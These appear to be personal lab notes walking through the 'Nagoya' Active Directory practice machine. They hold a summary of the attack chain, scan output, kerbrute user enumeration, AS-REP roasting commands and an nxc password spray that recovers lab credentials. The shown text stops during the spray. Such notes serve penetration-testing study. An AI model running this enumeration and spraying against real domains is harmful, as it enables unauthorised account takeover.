Nagoya¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
User discovery
→ season password spray
→ craig.carr / fiona.clark credentials
→ ACL password reset chain
→ christopher.lewis WinRM
→ local flag
→ Kerberoast svc_mssql
→ crack password: Service1
→ Silver Ticket for MSSQL as Administrator
→ MSSQL xp_cmdshell
→ GodPotato / reverse shell
→ Administrator proof.txt
walkthrough¶
192.168.212.21 nagoya.nagoya-industries.com
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Nagoya Industries - Nagoya
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-27 01:39:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-06-27T01:41:06+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Not valid before: 2026-06-26T00:47:24
|_Not valid after: 2026-12-26T00:47:24
| rdp-ntlm-info:
| Target_Name: NAGOYA-IND
| NetBIOS_Domain_Name: NAGOYA-IND
| NetBIOS_Computer_Name: NAGOYA
| DNS_Domain_Name: nagoya-industries.com
| DNS_Computer_Name: nagoya.nagoya-industries.com
| DNS_Tree_Name: nagoya-industries.com
| Product_Version: 10.0.17763
|_ System_Time: 2026-06-27T01:40:27+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
49799/tcp open msrpc Microsoft Windows RPC
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-06-27T01:40:29
|_ start_date: N/A
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-27 01:41:14Z)
123/udp open ntp NTP v3
| ntp-info:
DNS列挙
53/tcp open domain Simple DNS Plus
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nmap -sCV -p53 192.168.212.21
dig @192.168.212.21 nagoya-industries.com any
dig axfr @192.168.212.21 nagoya-industries.com
dnsrecon -d nagoya-industries.com -n 192.168.212.21
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nmap -sCV -p53 192.168.212.21
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-27 15:34 JST
Nmap scan report for 192.168.212.21
Host is up (0.080s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.03 seconds
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ dig @192.168.212.21 nagoya-industries.com any
; <<>> DiG 9.20.9-1-Debian <<>> @192.168.212.21 nagoya-industries.com any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54026
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;nagoya-industries.com. IN ANY
;; ANSWER SECTION:
nagoya-industries.com. 600 IN A 172.16.201.151
nagoya-industries.com. 600 IN A 192.168.120.151
nagoya-industries.com. 3600 IN NS nagoya.nagoya-industries.com.
nagoya-industries.com. 3600 IN SOA nagoya.nagoya-industries.com. hostmaster.nagoya-industries.com. 35 900 600 86400 3600
;; ADDITIONAL SECTION:
nagoya.nagoya-industries.com. 3600 IN A 192.168.212.21
;; Query time: 75 msec
;; SERVER: 192.168.212.21#53(192.168.212.21) (TCP)
;; WHEN: Sat Jun 27 15:34:43 JST 2026
;; MSG SIZE rcvd: 166
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ dig axfr @192.168.212.21 nagoya-industries.com
; <<>> DiG 9.20.9-1-Debian <<>> axfr @192.168.212.21 nagoya-industries.com
; (1 server found)
;; global options: +cmd
; Transfer failed.
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ dnsrecon -d nagoya-industries.com -n 192.168.212.21
[*] std: Performing General Enumeration against: nagoya-industries.com...
[-] DNSSEC is not configured for nagoya-industries.com
[*] SOA nagoya.nagoya-industries.com 192.168.212.21
[*] NS nagoya.nagoya-industries.com 192.168.212.21
[*] A nagoya-industries.com 172.16.201.151
[*] A nagoya-industries.com 192.168.120.151
[*] Enumerating SRV Records
[+] SRV _gc._tcp.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 3268
[+] SRV _kerberos._tcp.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 88
[+] SRV _ldap._tcp.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 389
[+] SRV _kerberos._udp.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 88
[+] SRV _ldap._tcp.dc._msdcs.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 389
[+] SRV _ldap._tcp.ForestDNSZones.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 389
[+] SRV _ldap._tcp.pdc._msdcs.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 389
[+] SRV _ldap._tcp.gc._msdcs.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 3268
[+] SRV _kpasswd._tcp.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 464
[+] SRV _kerberos._tcp.dc._msdcs.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 88
[+] SRV _kpasswd._udp.nagoya-industries.com nagoya.nagoya-industries.com 192.168.212.21 464
[+] 11 Records Found
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
NTP列挙
123/udp open ntp NTP v3
| ntp-info:
kerberos列挙
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-27 01:39:37Z)
464/tcp open kpasswd5?
nmap -sCV -p88 192.168.212.21 -oA scans/192.168.212.21-kerberos
kerbrute userenum -d nagoya-industries.com users.txt --dc 192.168.212.21
impacket-GetNPUsers nagoya-industries.com/ -usersfile users.txt -dc-ip 192.168.212.21 -no-pass -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
msrpc列挙
135/tcp open msrpc Microsoft Windows RPC
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
smb列挙
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nmap -sCV -p135,139,445 192.168.212.21
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-27 15:49 JST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 192.168.212.21
Host is up (0.079s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-27T06:49:20
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.26 seconds
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ smbclient -L //192.168.212.21 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.212.21 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ rpcclient -U "" -N 192.168.212.21
rpcclient $>
──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -u '' -p ''
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\:
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -u guest -p ''
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\guest: STATUS_ACCOUNT_DISABLED
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ enum4linux-ng 192.168.212.21
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 192.168.212.21
[*] Username ......... ''
[*] Random Username .. 'xmzrryjn'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
=======================================
| Listener Scan on 192.168.212.21 |
=======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
======================================================
| Domain Information via LDAP for 192.168.212.21 |
======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: nagoya-industries.com
=============================================================
| NetBIOS Names and Workgroup/Domain for 192.168.212.21 |
=============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
===========================================
| SMB Dialect Check on 192.168.212.21 |
===========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
=============================================================
| Domain Information via SMB session for 192.168.212.21 |
=============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: NAGOYA
NetBIOS domain name: NAGOYA-IND
DNS domain: nagoya-industries.com
FQDN: nagoya.nagoya-industries.com
Derived membership: domain member
Derived domain: NAGOYA-IND
===========================================
| RPC Session Check on 192.168.212.21 |
===========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
=====================================================
| Domain Information via RPC for 192.168.212.21 |
=====================================================
[+] Domain: NAGOYA-IND
[+] Domain SID: S-1-5-21-1969309164-1513403977-1686805993
[+] Membership: domain member
=================================================
| OS Information via RPC for 192.168.212.21 |
=================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
=======================================
| Users via RPC on 192.168.212.21 |
=======================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
========================================
| Groups via RPC on 192.168.212.21 |
========================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
========================================
| Shares via RPC on 192.168.212.21 |
========================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
===========================================
| Policies via RPC for 192.168.212.21 |
===========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
===========================================
| Printers via RPC for 192.168.212.21 |
===========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 17.13 seconds
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
````
```text
ldap列挙
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
nmap -sCV -p389,636 192.168.212.21
ldapsearch -x -H ldap://192.168.212.21 -s base namingContexts
ldapsearch -x -H ldap://192.168.212.21 -b "DC=nagoya-industries,DC=com"
rdp列挙
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-06-27T01:41:06+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Not valid before: 2026-06-26T00:47:24
|_Not valid after: 2026-12-26T00:47:24
| rdp-ntlm-info:
| Target_Name: NAGOYA-IND
| NetBIOS_Domain_Name: NAGOYA-IND
| NetBIOS_Computer_Name: NAGOYA
| DNS_Domain_Name: nagoya-industries.com
| DNS_Computer_Name: nagoya.nagoya-industries.com
| DNS_Tree_Name: nagoya-industries.com
| Product_Version: 10.0.17763
|_ System_Time: 2026-06-27T01:40:27+00:00
wimrm列挙
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
web列挙
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Nagoya Industries - Nagoya
|_http-server-header: Microsoft-IIS/10.0
whatweb http://192.168.212.21
curl -i http://192.168.212.21/
curl -k -i https://192.168.212.21/
feroxbuster -u http://192.168.212.21/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak,zip,conf
ffuf -u http://192.168.212.21/ -H "Host: FUZZ.nagoya-industries.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dirsearch -u http://192.168.212.21/ -x 403,404 -t 20
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ curl -i http://192.168.212.21/error
HTTP/1.1 200 OK
Cache-Control: no-store,no-cache
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Date: Sat, 27 Jun 2026 07:15:19 GMT
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Error - Nagoya</title>
<link rel="stylesheet" href="/lib/bootstrap/dist/css/bootstrap.min.css" />
<link rel="stylesheet" href="/css/site.css?v=AKvNjO3dCPPS0eSU1Ez8T2wI280i08yGycV9ndytL-c" />
<link rel="stylesheet" href="/Nagoya.styles.css?v=0HCsqsnSzuDZ7js130wtdPNkjdXL58Z3lwWd9UhE-3Y" />
</head>
<body>
<header>
<nav b-ewmeh9vzm5 class="navbar navbar-expand-sm navbar-toggleable-sm navbar-light bg-white border-bottom box-shadow mb-3">
<div b-ewmeh9vzm5 class="container">
<a class="navbar-brand" href="/">Nagoya</a>
<button b-ewmeh9vzm5 class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target=".navbar-collapse" aria-controls="navbarSupportedContent"
aria-expanded="false" aria-label="Toggle navigation">
<span b-ewmeh9vzm5 class="navbar-toggler-icon"></span>
</button>
<div b-ewmeh9vzm5 class="navbar-collapse collapse d-sm-inline-flex justify-content-between">
<ul b-ewmeh9vzm5 class="navbar-nav flex-grow-1">
<li b-ewmeh9vzm5 class="nav-item">
<a class="nav-link text-dark" href="/">Home</a>
</li>
<li b-ewmeh9vzm5 class="nav-item">
<a class="nav-link text-dark" href="/Team">Team</a>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div b-ewmeh9vzm5 class="container">
<main b-ewmeh9vzm5 role="main" class="pb-3">
<h1 class="text-danger">Error.</h1>
<h2 class="text-danger">An error occurred while processing your request.</h2>
<p>
<strong>Request ID:</strong> <code>00-5d82caca5ec693cb456d62b79bd36b9a-8b55c3eecfd7cc9c-00</code>
</p>
<h3>Development Mode</h3>
<p>
Swapping to the <strong>Development</strong> environment displays detailed information about the error that occurred.
</p>
<p>
<strong>The Development environment shouldn't be enabled for deployed applications.</strong>
It can result in displaying sensitive information from exceptions to end users.
For local debugging, enable the <strong>Development</strong> environment by setting the <strong>ASPNETCORE_ENVIRONMENT</strong> environment variable to <strong>Development</strong>
and restarting the app.
</p>
</main>
</div>
<footer b-ewmeh9vzm5 class="border-top footer text-muted">
<div b-ewmeh9vzm5 class="container">
© 2023 - Nagoya - <a href="">Privacy</a>
</div>
</footer>
<script src="/lib/jquery/dist/jquery.min.js"></script>
<script src="/lib/bootstrap/dist/js/bootstrap.bundle.min.js"></script>
<script src="/js/site.js?v=4q1jwFhaPaZgr8WAUSrux6hAuh0XDg9kPS3xIVq36I0"></script>
</body>
</html>
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
aspであることがわかるらしい・・・
dirsearch \
-u http://192.168.212.21 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-e aspx,cshtml,config,txt,bak,zip
Webよりチームメンバの名簿を発見
First Name Last Name
Matthew Harrison
Emma Miah
Rebecca Bell
Scott Gardner
Terry Edwards
Holly Matthews
Anne Jenkins
Brett Naylor
Melissa Mitchell
Craig Carr
Fiona Clark
Patrick Martin
Kate Watson
Kirsty Norris
Andrea Hayes
Abigail Hughes
Melanie Watson
Frances Ward
Sylvia King
Wayne Hartley
Iain White
Joanna Wood
Bethan Webster
Elaine Brady
Christopher Lewis
Megan Johnson
Damien Chapman
Joanne Lewis
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy -i names.txt > usernames.txt
./username-anarchy --input-file names.txt > usernames.txt
kerbrute userenum --dc 192.168.1.10 -d nagoya-industries.com usernames.txt
┌──(kali@kali)-[~/…/pGpractice/Nagoya/192.168.212.21/username-anarchy]
└─$ kerbrute userenum --dc 192.168.212.21 -d nagoya-industries.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 06/27/26 - Ronnie Flathers @ropnop
2026/06/27 15:18:07 > Using KDC(s):
2026/06/27 15:18:07 > 192.168.212.21:88
2026/06/27 15:18:07 > [+] VALID USERNAME: matthew.harrison@nagoya-industries.com
2026/06/27 15:18:07 > [+] VALID USERNAME: emma.miah@nagoya-industries.com
2026/06/27 15:18:07 > [+] VALID USERNAME: rebecca.bell@nagoya-industries.com
2026/06/27 15:18:07 > [+] VALID USERNAME: scott.gardner@nagoya-industries.com
2026/06/27 15:18:07 > [+] VALID USERNAME: terry.edwards@nagoya-industries.com
2026/06/27 15:18:07 > [+] VALID USERNAME: holly.matthews@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: anne.jenkins@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: brett.naylor@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: melissa.mitchell@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: craig.carr@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: fiona.clark@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: patrick.martin@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: kate.watson@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: kirsty.norris@nagoya-industries.com
2026/06/27 15:18:08 > [+] VALID USERNAME: andrea.hayes@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: abigail.hughes@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: melanie.watson@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: frances.ward@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: sylvia.king@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: wayne.hartley@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: iain.white@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: joanna.wood@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: bethan.webster@nagoya-industries.com
2026/06/27 15:18:09 > [+] VALID USERNAME: elaine.brady@nagoya-industries.com
2026/06/27 15:18:10 > [+] VALID USERNAME: christopher.lewis@nagoya-industries.com
2026/06/27 15:18:10 > [+] VALID USERNAME: megan.johnson@nagoya-industries.com
2026/06/27 15:18:10 > [+] VALID USERNAME: damien.chapman@nagoya-industries.com
2026/06/27 15:18:10 > [+] VALID USERNAME: joanne.lewis@nagoya-industries.com
2026/06/27 15:18:10 > Done! Tested 405 usernames (28 valid) in 3.200 seconds
┌──(kali@kali)-[~/…/pGpractice/Nagoya/192.168.212.21/username-anarchy]
└─$
asrep
impacket-GetNPUsers nagoya-industries.com/ -dc-ip 192.168.212.21 -no-pass -usersfile id.txt
kerbrute passwordspray -d nagoya-industries.com --dc 192.168.212.21 usernames.txt 'Password123!'
GiveUP ウォークスルー見た 以下でクラックできるみたい。
Spring2023
Summer2023
Fall2023
Winter2023
pass.txt Spring2023 Summer2023 Fall2023 Winter2023
nxc smb $DC -d $DOMAIN -u $USER -p pass.txt
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -d nagoya-industries.com -u users.txt -p pass.txt --continue-on-success
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\matthew.harrison:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\emma.miah:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\rebecca.bell:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\scott.gardner:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\terry.edwards:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\holly.matthews:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\anne.jenkins:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\brett.naylor:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melissa.mitchell:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\craig.carr:Spring2023
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\fiona.clark:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\patrick.martin:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kate.watson:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kirsty.norris:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\andrea.hayes:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\abigail.hughes:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melanie.watson:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\frances.ward:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\sylvia.king:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\wayne.hartley:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\iain.white:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanna.wood:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\bethan.webster:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\elaine.brady:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\christopher.lewis:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\megan.johnson:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\damien.chapman:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanne.lewis:Spring2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\matthew.harrison:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\emma.miah:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\rebecca.bell:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\scott.gardner:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\terry.edwards:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\holly.matthews:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\anne.jenkins:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\brett.naylor:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melissa.mitchell:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\fiona.clark:Summer2023
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\patrick.martin:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kate.watson:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kirsty.norris:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\andrea.hayes:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\abigail.hughes:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melanie.watson:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\frances.ward:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\sylvia.king:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\wayne.hartley:Summer2023 STATUS_LOGON_FAILURE
